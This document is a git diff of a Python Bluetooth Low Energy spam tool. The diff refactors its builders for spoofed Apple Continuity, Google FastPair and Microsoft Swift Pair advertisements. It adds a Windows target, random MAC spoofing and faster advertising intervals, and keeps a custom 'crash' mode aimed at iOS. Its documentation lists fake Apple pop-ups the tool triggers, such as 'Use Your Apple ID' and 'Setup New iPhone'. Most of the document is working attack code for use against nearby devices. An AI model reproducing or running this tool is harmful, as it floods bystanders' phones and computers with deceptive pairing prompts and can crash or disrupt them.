ContinuityType.NearbyInfo.value # Continuity Type (?) - i += 1 - packet[i:i+3] = [random.randint(0, 255) for _ in range(3)] # Continuity Size (?) + Shenanigans (???) - i += 3 - return packet, size + builder.override(2) # Override segment header + builder.add(ContinuityType.NearbyAction.value) # Continuity Type + builder.add(0x05) # Continuity Size + builder.add(flags) + builder.add(action) + builder.add_random_bytearray(3) # Authentication Tag + + builder.add(0x00) # Terminator (?) + builder.add(0x00) # ... + + builder.add(ContinuityType.NearbyInfo.value) # Continuity Type (?) + builder.add_random_bytearray(3) # Continuity Size (?) + Shenanigans (???) + return builder.build() raise NotImplementedError() -def make_packet_android(*, model: int = 0) -> tuple[Sequence[int], int]: +def make_packet_android(*, model: int = 0) -> Sequence[int]: if model == 0: model_name = random.choice(list(all_fp_models)) model = all_fp_models[model_name] if isinstance(model, list): model = random.choice(model) size = 14 - packet = [0] * size - i = 0 + builder = PacketBuilder(size) - packet[i] = 3 # Size - i += 1 - packet[i] = 0x03 # AD Type (Service UUID List) - i += 1 - packet[i] = 0x2C # Service UUID (Google LLC, FastPair) - i += 1 - packet[i] = 0xFE # ... - i += 1 - - packet[i] = 6 # Size - i += 1 - packet[i] = 0x16 # AD Type (Service Data) - i += 1 - packet[i] = 0x2C # Service UUID (Google LLC, FastPair) - i += 1 - packet[i] = 0xFE # ... - i += 1 - packet[i] = (model >> 0x10) & 0xFF - i += 1 - packet[i] = (model >> 0x08) & 0xFF - i += 1 - packet[i] = (model >> 0x00) & 0xFF - i += 1 - - packet[i] = 2 # Size - i += 1 - packet[i] = 0x0A # AD Type (Tx Power Level) - i += 1 + builder.add(3) # Size + builder.add(0x03) # AD Type (Service UUID List) + builder.add(0x2C) # Service UUID (Google LLC, FastPair) + builder.add(0xFE) # ... + + builder.add(6) # Size + builder.add(0x16) # AD Type (Service Data) + builder.add(0x2C) # Service UUID (Google LLC, FastPair) + builder.add(0xFE) # ... + builder.add((model >> 0x10) & 0xFF) + builder.add((model >> 0x08) & 0xFF) + builder.add((model >> 0x00) & 0xFF) + + builder.add(2) # Size + builder.add(0x0A) # AD Type (Tx Power Level) dbm = random.randint(-100, 19) if dbm < 0: dbm += 256 - packet[i] = dbm # -100 to +20 dBm - i += 1 - return packet, size + builder.add(dbm) # -100 to +20 dBm + return builder.build() + sp_names = [ "Assquach💦", @@ -302,8 +307,6 @@ def make_packet_android(*, model: int = 0) -> tuple[Sequence[int], int]: "Kink💦", "👉👌", "🔵🦷", - '"Hack the planet"', - '"Hack the plane', ] class SwiftPairType(Enum): @@ -311,7 +314,29 @@ class SwiftPairType(Enum): BREDROnly = 0x01 BLEAndBREDR = 0x02 -def make_packet_windows(packet_type: SwiftPairType = SwiftPairType.BREDROnly, *, name: str = "") -> tuple[Sequence[int], int]: +def build_cod_services() -> str: + output = format(random.randint(0, 2047), "#011b") # 'cod_services' + cod_device_class = cod["cod_device_class"] + + cod_major = random.choice(cod_device_class) + # skip Miscellaneous and Uncategorized + if cod_major["major"] in (0, 31): + return build_cod_services() + output += format(cod_major["major"], "05b") + + cod_minor = random.choice(cod_major.get("minor", cod_major.get("minor_bits", []))) + minor_split = cod_major.get("subsplit", 6) + if cod_major.get("minor_bits"): + cod_minor_value = random.randint(0, minor_split) + else: + cod_minor_value = cod_minor["value"] + output += format(cod_minor_value, f'0{minor_split}b') + + if cod_subminor := cod_minor.get("subminor"): + output += format(random.choice(cod_subminor), f'0{6-minor_split}b') + return f"{output}00" + +def make_packet_windows(packet_type: SwiftPairType = SwiftPairType.BLEOnly, *, name: str = "") -> Sequence[int]: if not name: try: with open("names.txt", encoding="utf-8") as f: @@ -323,77 +348,36 @@ def make_packet_windows(packet_type: SwiftPairType = SwiftPairType.BREDROnly, *, size = 7 + len(name_bytes) size += 3 if packet_type != SwiftPairType.BLEOnly else 0 size += 6 if packet_type == SwiftPairType.BREDROnly else 0 - packet = [0] * size - i = 0 + builder = PacketBuilder(size) - packet[i] = size -1 # Size - i += 1 - packet[i] = 0xFF # AD Type (Manufacturer Specific) - i += 1 - packet[i] = 0x06 # Company ID (Microsoft) - i += 1 - packet[i] = 0x00 # ... - i += 1 - packet[i] = 0x03 # Microsoft Beacon ID - i += 1 - packet[i] = packet_type.value # Microsoft Beacon Sub Scenario - i += 1 - packet[i] = 0x80 # Reserved RSSI Byte - i += 1 + builder.add(size -1) # Size + builder.add(0xFF) # AD Type (Manufacturer Specific) + builder.add(0x06) # Company ID (Microsoft) + builder.add(0x00) # ... + builder.add(0x03) # Microsoft Beacon ID + builder.add(packet_type.value) # Microsoft Beacon Sub Scenario + builder.add(0x80) # Reserved RSSI Byte if packet_type == SwiftPairType.BREDROnly: - packet[i:i+6] = [random.randint(0, 255) for _ in range(6)] # BREDR MAC Address - i += 6 + builder.add_random_mac() # BREDR MAC Address if packet_type != SwiftPairType.BLEOnly: - # https://www.bluetooth.com/specifications/assigned-numbers/ - class_of_device = "0b00000000001" - class_of_device += "00101" - class_of_device += "01" - class_of_device += "0000" - class_of_device += "00" - packet[i:i+3] = int(class_of_device, 2).to_bytes(3, "big") - i += 3 - - packet[i:i+len(name_bytes)] = name_bytes # Add name bytes - i += len(name_bytes) - return packet, size - - -def make_proximity_pair_data(device_name: str) -> Sequence[int]: - model = pp_models[device_name] - packet, size = make_packet_apple(ContinuityType.ProximityPair, model=model) - return packet + builder.add_bytearray(int(build_cod_services(), 2).to_bytes(3, "big")) + builder.add_bytearray(name_bytes) # Add name bytes + return builder.build() -def make_nearby_action_data(name: str) -> Sequence[int]: - model = na_actions[name] - packet, size = make_packet_apple(ContinuityType.NearbyAction, model=model) - return packet - -def make_custom_crash_data() -> Sequence[int]: - packet, size = make_packet_apple(ContinuityType.CustomCrash) - return packet - - -# def print_tuple(seq: Sequence[int]) -> str: -# return "(" + (', '.join([f"0x{c:02X}" for c in seq])) + ")" -# print(*[print_tuple(make_nearby_action_data(i)) + "\n" + print_tuple(hex_data[i]) for i in range(18,30)], sep="\n") -# print(*[print_tuple(make_packet_windows(name=i)[0]) + "\n" + i for i in sp_names], sep="\n") -# exit() - - -def make_apple_data(option: int) -> Sequence[int] | None: +def make_apple_data(option: int) -> Sequence[int]: bt_data = hex_data.get(option) if not bt_data: - return + raise ValueError(f"Invalid data option: {option}") name = bt_data_options[option] if "AirPods" not in name and "Beats" not in name: - return bt_data + return bt_data # make_packet_apple(ContinuityType.NearbyAction, model=na_actions[name]) - return make_proximity_pair_data(name) + return make_packet_apple(ContinuityType.ProximityPair, model=pp_models[name]) class SpamTarget(Enum): @@ -420,13 +404,15 @@ def start_spam(sock, *, pattern: AttackPattern) -> None: spam_data = random.choice(pattern.spam_data) if pattern.spam_data else "" match pattern.spam_target: case SpamTarget.random: - pattern.spam_target = random.choice( - [ - SpamTarget.IOS, - SpamTarget.Android, - ] - ) - return start_spam(sock, pattern=pattern) + while True: + pattern.spam_target = random.choice( + [ + SpamTarget.IOS, + SpamTarget.Android, + SpamTarget.Windows, + ] + ) + start_spam(sock, pattern=pattern) case SpamTarget.IOS: if spam_data: if spam_data.isalnum(): @@ -458,11 +444,11 @@ def start_spam(sock, *, pattern: AttackPattern) -> None: selected_option = random.choice(list(bt_data_options.keys())) bt_data = make_apple_data(selected_option) case SpamTarget.Android: - bt_data, *_ = make_packet_android(model=(int(spam_data, 16) if spam_data.isalnum() else 0)) + bt_data = make_packet_android(model=(int(spam_data, 16) if spam_data.isalnum() else 0)) case SpamTarget.Windows: - bt_data, *_ = make_packet_windows(name=spam_data) + bt_data = make_packet_windows(SwiftPairType.BLEAndBREDR, name=spam_data) case SpamTarget.IOSCustomCrash: - bt_data = make_custom_crash_data() + bt_data = make_packet_apple(ContinuityType.CustomCrash) case _: return @@ -470,19 +456,22 @@ def start_spam(sock, *, pattern: AttackPattern) -> None: random_mac = ":".join([f"{random.randint(0x00, 0xff):02x}" for _ in range(6)]) # TODO check if specific mac matter - if pattern.spam_target in [SpamTarget.Android, SpamTarget.Windows ]: - random_mac = f"d4:3a:2c:{random_mac[9:]}" # google mac prefix + # if pattern.spam_target in [SpamTarget.Android, SpamTarget.Windows]: + # random_mac = f"d4:3a:2c:{random_mac[9:]}" # google mac prefix change_internal_mac_addr(sock, random_mac) - # TODO check if 0x01, 0x02, 0x04 are valid ones (especially 0x01 and 0x04) - # ADV_IND = 0x00 - # ADV_DIRECT_IND = 0x01 - # ADV_SCAN_IND = 0x02 - # ADV_NONCONN_IND = 0x03 - # ADV_SCAN_RSP = 0x04 - # adv_type = args.random_adv and random.randint(0x01,0x04) or 0x03 - adv_type = pattern.random_adv and random.randint(0x02,0x03) or 0x03 + ADV_IND = 0x00 + ADV_DIRECT_IND = 0x01 + ADV_SCAN_IND = 0x02 + ADV_NONCONN_IND = 0x03 + ADV_SCAN_RSP = 0x04 + if pattern.random_adv: + # TODO test on apple + # adv_type = random.choice([ADV_SCAN_RSP, ADV_IND, ADV_SCAN_IND, ADV_NONCONN_IND]) + adv_type = random.choice([ADV_IND, ADV_SCAN_IND, ADV_NONCONN_IND]) + else: + adv_type = ADV_NONCONN_IND start_le_advertising(sock, adv_type=adv_type, min_interval=pattern.interval, max_interval=pattern.interval, data=bt_data) while True: @@ -494,8 +483,8 @@ def start_spam(sock, *, pattern: AttackPattern) -> None: def main(): parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter) - parser.add_argument('-i', '--interval', default=200, type=int, help='Advertising interval (default 200))') - parser.add_argument('-t', '--adv-time', default=2.0, type=float, help='Advertising time (default 2))') + parser.add_argument('-i', '--interval', default=20, type=int, help='Advertising interval, ms (default 20))') + parser.add_argument('-t', '--adv-time', default=1.0, type=float, help='Advertising time, s (default 1.0))') parser.add_argument('-b', '--bt-dev-id', default=0, type=int, help='Bluetooth device ID (default 0)') parser.add_argument('-d', '--data', type=str, help='Select a message or device name to send (e.g., \'-d 1\' or \'-d "AirPods Pro"\') (can be splitted by , for multiple)') @@ -508,7 +497,7 @@ def main(): parser.add_argument('-c', '--custom-crash', action='store_true', help='Use custom crash method by @ECTO-1A') parser.add_argument('-ap', '--apple', action='store_true', help='Apple BLE spam') parser.add_argument('-an', '--android', action='store_true', help='Android BLE spam') - parser.add_argument('-w', '--windows', action='store_true', help='Windows BLE spam') + parser.add_argument('-w', '--windows', action='store_true', help='Windows BLE spam (-t lower than 0.5 is recommended)') # Randomization parser.add_argument('--random-mac', action='store_true', help='Randomly select mac address') @@ -526,21 +515,22 @@ def main(): dev_id=args.bt_dev_id, interval=args.interval, adv_time=args.adv_time, - random_mac=True if SpamTarget.random else args.random_mac, + random_mac=spam_target is SpamTarget.random or args.random_mac, random_adv=args.random_adv, spam_data=args.data.split(",") if args.data else [], spam_target=spam_target, permanent=args.repeat, - # permanent=hasattr(args, "data"), # TODO ) + print() pprint(attack_pattern) + print() # the default Bluetooth device is hci0 toggle_device(attack_pattern.dev_id, True) try: sock = bluez.hci_open_dev(attack_pattern.dev_id) - if args.random or args.random_mac: + if spam_target is SpamTarget.random or args.random_mac: original_mac = get_internal_mac_addr(attack_pattern.dev_id) print(f"Your original mac address is {original_mac}\nIt will restored after you stop the script\n") except Exception as e: @@ -555,9 +545,9 @@ def main(): except KeyboardInterrupt: stop_le_advertising(sock) except Exception as e: - print(f"An error occurred: {e}") + print(f"An error occurred ({type(e)}): {e}") stop_le_advertising(sock) - if args.random_mac: + if spam_target is SpamTarget.random or args.random_mac: print(f"Restoring original mac address {original_mac}...") # type: ignore change_internal_mac_addr(sock, original_mac) # type: ignore diff --git a/docs/notifications.md b/docs/notifications.md index b0970d5..e03edde 100644 --- a/docs/notifications.md +++ b/docs/notifications.md @@ -3,97 +3,97 @@ Below are screenshots of the notfications generated from these script calls


-`python3 app.py --device-name "AppleTV AppleID Setup"` +`python3 app.py -ap -d "AppleTV AppleID Setup"` > **Message**: Use Your Apple ID on AppleTV (message from DEF CON 31)

-`python3 app.py --device-name "AppleTV Wireless Audio Sync"` +`python3 app.py -ap -d "AppleTV Wireless Audio Sync"` > **Message**: AppleTV Wireless Audio Sync

-`python3 app.py --device-name "AppleTV HomeKit Setup"` +`python3 app.py -ap -d "AppleTV HomeKit Setup"` > **Message**: Set Up Airplay and HomeKit on Apple TV

-`python3 app.py --device-name "AppleTV Keyboard"` +`python3 app.py -ap -d "AppleTV Keyboard"` > **Message**: AppleTV Keyboard Password AutoFill

-`python3 app.py --device-name "AppleTV Connecting..."` +`python3 app.py -ap -d "AppleTV Connecting..."` > **Message**: Connecting... Apple Tv requires additional information to connect to this network

-`python3 app.py --device-name "AppleTV Join This AppleTV"` +`python3 app.py -ap -d "AppleTV Join This AppleTV"` > **Message**: Join This AppleTV?

-`python3 app.py --device-name "HomePod Setup"` +`python3 app.py -ap -d "HomePod Setup"` > **Message**: HomePod Setup

-`python3 app.py --device-name "Setup New iPhone"` +`python3 app.py -ap -d "Setup New iPhone"` > **Message**: Setup New iPhone

-`python3 app.py --device-name "Transfer Number to New Phone"` +`python3 app.py -ap -d "Transfer Number to New Phone"` > **Message**: Transfer Phone Number

-`python3 app.py --device-name "AppleTV Color Balance"` +`python3 app.py -ap -d "AppleTV Color Balance"` > **Message**: Color Balance

-`python3 app.py --device-name "Airpods"` +`python3 app.py -ap -d "AirPods"` -> **Model**: Airpods +> **Model**: AirPods

-`python3 app.py --device-name "Airpods Pro"` +`python3 app.py -ap -d "AirPods Pro"` -> **Model**: Airpods Pro +> **Model**: AirPods Pro

-`python3 app.py --device-name "Airpods Max"` +`python3 app.py -ap -d "AirPods Max"` -> **Model**: Airpods Max +> **Model**: AirPods Max

-`python3 app.py --device-name "PowerBeats"` +`python3 app.py -ap -d "PowerBeats 3"` -> **Model**: PowerBeats +> **Model**: PowerBeats 3

-`python3 app.py --device-name "BeatsX"` +`python3 app.py -ap -d "Beats X"` -> **Model**: BeatsX +> **Model**: Beats X

-`python3 app.py --device-name "Beats Solo Pro"` +`python3 app.py -ap -d "Beats Solo Pro"` > **Model**: Beats Solo Pro diff --git a/utils/class_of_device.py b/utils/class_of_device.py new file mode 100644 index 0000000..83347a0 --- /dev/null +++ b/utils/class_of_device.py @@ -0,0 +1,243 @@ +import yaml + +# https://bitbucket.org/bluetooth-SIG/public/src/main/assigned_numbers/core/class_of_device.yaml #7008105 +cod_yaml = """cod_services: + - bit: 13 + name: Limited Discoverable Mode + - bit: 14 + name: LE audio + - bit: 15 + name: Reserved for Future Use + - bit: 16 + name: Positioning (Location identification) + - bit: 17 + name: "Networking (LAN, Ad hoc, ...)" + - bit: 18 + name: "Rendering (Printing, Speakers, ...)" + - bit: 19 + name: "Capturing (Scanner, Microphone, ...)" + - bit: 20 + name: "Object Transfer (v-Inbox, v-Folder, ...)" + - bit: 21 + name: "Audio (Speaker, Microphone, Headset service, ...)" + - bit: 22 + name: "Telephony (Cordless telephony, Modem, Headset service, ...)" + - bit: 23 + name: "Information (WEB-server, WAP-server, ...)" +cod_device_class: + - major: 0 + name: Miscellaneous + - major: 1 + name: "Computer (desktop, notebook, PDA, organizer, ...)" + minor: + - value: 0 + name: Uncategorized (code for device not assigned) + - value: 1 + name: Desktop Workstation + - value: 2 + name: Server-class Computer + - value: 3 + name: Laptop + - value: 4 + name: Handheld PC/PDA (clamshell) + - value: 5 + name: Palm-size PC/PDA + - value: 6 + name: Wearable Computer (watch size) + - value: 7 + name: Tablet + - major: 2 + name: "Phone (cellular, cordless, pay phone, modem, ...)" + minor: + - value: 0 + name: Uncategorized (code for device not assigned) + - value: 1 + name: Cellular + - value: 2 + name: Cordless + - value: 3 + name: Smartphone + - value: 4 + name: Wired Modem or Voice Gateway + - value: 5 + name: Common ISDN Access + - major: 3 + name: LAN/Network Access Point + subsplit: 3 + minor: + - value: 0 + name: Fully available + - value: 1 + name: "1% to 17% utilized" + - value: 2 + name: "17% to 33% utilized" + - value: 3 + name: "33% to 50% utilized" + - value: 4 + name: "50% to 67% utilized" + - value: 5 + name: "67% to 83% utilized" + - value: 6 + name: "83% to 99% utilized" + - value: 7 + name: No service available + subminor: + - value: 0 + name: Uncategorized (use this value if no others apply) + - major: 4 + name: "Audio/Video (headset, speaker, stereo, video display, VCR, ...)" + minor: + - value: 0 + name: Uncategorized (code not assigned) + - value: 1 + name: Wearable Headset Device + - value: 2 + name: Hands-free Device + - value: 3 + name: Reserved for Future Use + - value: 4 + name: Microphone + - value: 5 + name: Loudspeaker + - value: 6 + name: Headphones + - value: 7 + name: Portable Audio + - value: 8 + name: Car Audio + - value: 9 + name: Set-top box + - value: 10 + name: HiFi Audio Device + - value: 11 + name: VCR + - value: 12 + name: Video Camera + - value: 13 + name: Camcorder + - value: 14 + name: Video Monitor + - value: 15 + name: Video Display and Loudspeaker + - value: 16 + name: Video Conferencing + - value: 17 + name: Reserved for Future Use + - value: 18 + name: Gaming/Toy + - major: 5 + name: "Peripheral (mouse, joystick, keyboard, ...)" + subsplit: 2 + minor: + - value: 0 + name: Uncategorized (code not assigned) + - value: 1 + name: Keyboard + - value: 2 + name: Pointing Device + - value: 3 + name: Combo Keyboard/Pointing Device + subminor: + - value: 0 + name: Uncategorized (code not assigned) + - value: 1 + name: Joystick + - value: 2 + name: Gamepad + - value: 3 + name: Remote Control + - value: 4 + name: Sensing Device + - value: 5 + name: Digitizer Tablet + - value: 6 + name: "Card Reader (e.g., SIM Card Reader)" + - value: 7 + name: Digital Pen + - value: 8 + name: "Handheld Scanner (e.g., barcodes, RFID)" + - value: 9 + name: "Handheld Gestural Input Device (e.g., “wand” form factor)" + - major: 6 + name: "Imaging (printer, scanner, camera, display, ...)" + subsplit: 4 + minor_bits: + - value: 4 + name: Display + - value: 5 + name: Camera + - value: 6 + name: Scanner + - value: 7 + name: Printer + subminor: + - value: 0 + name: Uncategorized (default) + - major: 7 + name: Wearable + minor: + - value: 1 + name: Wristwatch + - value: 2 + name: Pager + - value: 3 + name: Jacket + - value: 4 + name: Helmet + - value: 5 + name: Glasses + - value: 6 + name: "Pin (e.g., lapel pin, broach, badge)" + - major: 8 + name: Toy + minor: + - value: 1 + name: Robot + - value: 2 + name: Vehicle + - value: 3 + name: Doll/Action Figure + - value: 4 + name: Controller + - value: 5 + name: Game + - major: 9 + name: Health + minor: + - value: 0 + name: Undefined + - value: 1 + name: Blood Pressure Monitor + - value: 2 + name: Thermometer + - value: 3 + name: Weighing Scale + - value: 4 + name: Glucose Meter + - value: 5 + name: Pulse Oximeter + - value: 6 + name: Heart/Pulse Rate Monitor + - value: 7 + name: Health Data Display + - value: 8 + name: Step Counter + - value: 9 + name: Body Composition Analyzer + - value: 10 + name: Peak Flow Monitor + - value: 11 + name: Medication Monitor + - value: 12 + name: Knee Prosthesis + - value: 13 + name: Ankle Prosthesis + - value: 14 + name: Generic Health Manager + - value: 15 + name: Personal Mobility Device + - major: 31 + name: "Uncategorized (device code not specified)\n" +""" + +cod = yaml.load(cod_yaml, Loader=yaml.FullLoader)